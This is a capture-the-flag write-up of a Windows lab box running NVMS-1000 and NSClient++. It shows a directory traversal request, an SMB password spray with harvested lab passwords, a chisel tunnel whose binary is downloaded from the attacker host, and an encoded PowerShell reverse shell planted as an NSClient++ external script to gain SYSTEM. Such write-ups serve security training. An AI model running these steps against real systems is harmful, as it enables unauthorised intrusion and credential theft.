Target
10.129.227.77
Recon
Starting off with an nmap scan, many ports discovered.
nmap -sSV -p- 10.129.227.77 -oA 1_nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-08 20:25 EDT
Nmap scan report for 10.129.227.77
Host is up (0.13s latency).
Not shown: 65518 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
80/tcp open http
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6063/tcp open x11?
6699/tcp open napster?
8443/tcp open ssl/https-alt
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Several ports not confidently fingerprinted. Most notable to start with are port 80 and 8443.
80 - NVMS-100
Navigating to port 80, there is a site named NVMS-100 with a login page. Viewing the source code, all the assets have a cache-busting version ?v=20150323.1. searchsploit nvms reveals a directory traversal vulnerability. I tried a couple of attempts with the /../../../../../../../../../../../../windows/win.ini payload but does not seem to make a difference and throws a strange 404 in XML.
Reviewing the request headers has a Cookie: dataPort=6063, attempting to use this also does not make the directory traversal work.
8443 - NSClient++
This application could potentially to CVE-2025-34079, a local priv escalation which allows a user with admin creds to exploit to full system. If the directory traversal can be figured out with NVMS-100, this could be an option.
21 - FTP
nc 10.129.227.77 21 shows 220 Microsoft FTP Service but all commands fail. Retrying as ftp [email protected] works.
pwd returns /. ls shows Users and inside are Nadine and Nathan.
Inside Nadine is a Confidential.txt,
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
Under Nathan's account, the passwords.txt file is not here but instead the following Notes to do.txt
ftp> more "Notes to do.txt"
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
80 - Part 2
I tried the directory traversal in Edge, python and curl and all failed. Using Burp Suite Repeater, I was able to send a request and it works fine here.
GET ../../../../../../../../../../../../../Users/nathan/Desktop/passwords.txt HTTP/1.1
Host: 10.129.227.77
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: dataPort=6063
Connection: keep-alive
Response:
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo:
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
None of these passwords worked for nvms-1000 for either admin nor nathan. However there's another service it might work for.
Initial Access
We have a list of passwords and at least 4 usernames to use, so we can create a brute force list and try crackmap exec
$ cat users.txt
admin
administrator
nadine
nathan
$ cat passwords.txt
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
$ crackmapexec smb 10.129.227.77 -u users.txt -p passwords.txt
SMB 10.129.227.77 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\admin:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\administrator:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [-] ServMon\nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.129.227.77 445 SERVMON [+] ServMon\nadine:L1k3B1gBut7s@W0rk
We get a match, but interestingly it's on nadine's account and not nathan's. Also, these credentials happen to work for SSH as well, granting us our first shell
Post-Exploitation
As we have legitimate credentials and are utilizing SSH, we don't need to configure a more persistent shell.
Browsing around, C\Users\Nadine\Desktop contains our first user.txt flag.
The path to vulnerability is likely the CVE-2025-34079 on NSClient++. We need to determine if we can find the password in the configuration file for this application to exploit.
In the main C:\ directory, there is an inetpub, however nothing notable is here. There's also the C:\Shared which we saw when connecting to the ftp server anonymously. C:\Program Files\NSClient++ is the root folder for NSClient. nsclient.ini contains the configuration, which reveals
> type nsclient.ini
# If you want to fill this file with all available options run the following command:
# nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
# nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help
; in flight - TODO
[/settings/default]
; Undocumented key
password = ew2x6SsGTxjRwXOT
; Undocumented key
allowed hosts = 127.0.0.1
Priv Esc to SYSTEM
With the password retrieved, we will need to either exploit locally, or create a tunnel back to our attack box for exploitation. While the NSClient++ is accessible externally, the configuration file is set to only allow localhost to interact with it. Attempting to login via 8443 throws a 403 unauthorized error.
# on attacking machine, serve the directory for our chisel.exe
kali@kali:~$ windows-binaries
kali@kali:~$ python -m http.server
# victim machine, retrieve the chisel.exe binary from the attacker
nadine@SERVMON > powershell.exe -c "iwr -URI 'http://10.10.10.10:8000/chisel_1.11.5_amd64.exe' -OutFile 'C:\users\nadine\downloads\chisel.exe'"
# attacker machine, spawn a chisel server to listen on port 9001
kali@kali:~$ chisel server --reverse --port 9001
# victim machine, spawn the client, forwarding local port 8443 to our attacker via port 9001 and make it accessible on attacker:8443
nadine@SERVMON > cd C:\users\nadine\downloads
nadine@SERVMON > .\chisel.exe client 10.10.10.10:9001 R:8443:127.0.0.1:8443
# attacker machine, new tab to stand up listener for priv shell
kali@kali:~$ nc -lvnp 4443
With the tunnel configured, we can now access the website via 127.0.0.1:8443 and properly login with our password ew2x6SsGTxjRwXOT, which I confirmed is successful. Searching on exploitDB, we can use 48360 as our exploit code. While I tried several times to execute, I kept getting killed with http.client.RemoteDisconnected: Remote end closed connection without response.
Looks like manual exploitation time. After logging in, I made my way to the settings tab and clicked + Add new on /external scripts/scripts/default/. For the value, I used a powershell reverse shell from revshells.com
Section: /settings/external scripts/scripts
Key: vulncheck
Value: powershell -e JABFAHIA...8AcwBlACgAKQA=
Then we click Save Config under the changes dropdown at the top of the screen, followed by Control > Reload.
After it refreshes, we re-enter our password and I confirm I see vulncheck under the settings with the payload.
On the Queries tab, I selected the first one, check_tasksched, and opened it. On the run tab, swap the command to vulncheck and click run.
kali@kali:~$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.227.77] 50444
whoami
nt authority\system
PS C:\Program Files\NSClient++> cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/9/2026 5:31 PM 34 root.txt
PS C:\Users\Administrator\Desktop> type root.txt
79593a...60aba
Access Granted! I realized you have to be quick, as it seems to drop the shell after about a minute or so. In this case, we were able to grab what we needed, but trying to get a more persistent shell could be trickier.
Recap & Lessons Learned
A pretty neat machine! Finding the vulnerabilities on the two web applications was fairly easy. Actually attempting to exploit them was a bit trickier.
While I saw the directory traversal exploit, it wasn't until I used Burp Suite's Repeater did it finally work. Multiple attempts with curl, the browser's dev tools and python all failed to return a response, even with the same payload. I am also surprised that it was unable to fetch any other files like nadine's flag or C:\Windows\win.ini.
Luckily, I had already identified the privilege escalation exploit before initial access, so pivoting to that was fairly straight forward. NSClient++ seems to be very unstable and I had several issues getting things to load and my connection dropping. I just recently learned the trick about using chisel to create a reverse tunnel to bypass the local-only access, another handy tool to use.
The exploit code should have worked, but due to the instability issues, it kept closing connection and required manual exploitation. Luckily the code was well named / documented so I was able to reproduce it in the UI pretty easily.
Another solid windows machine!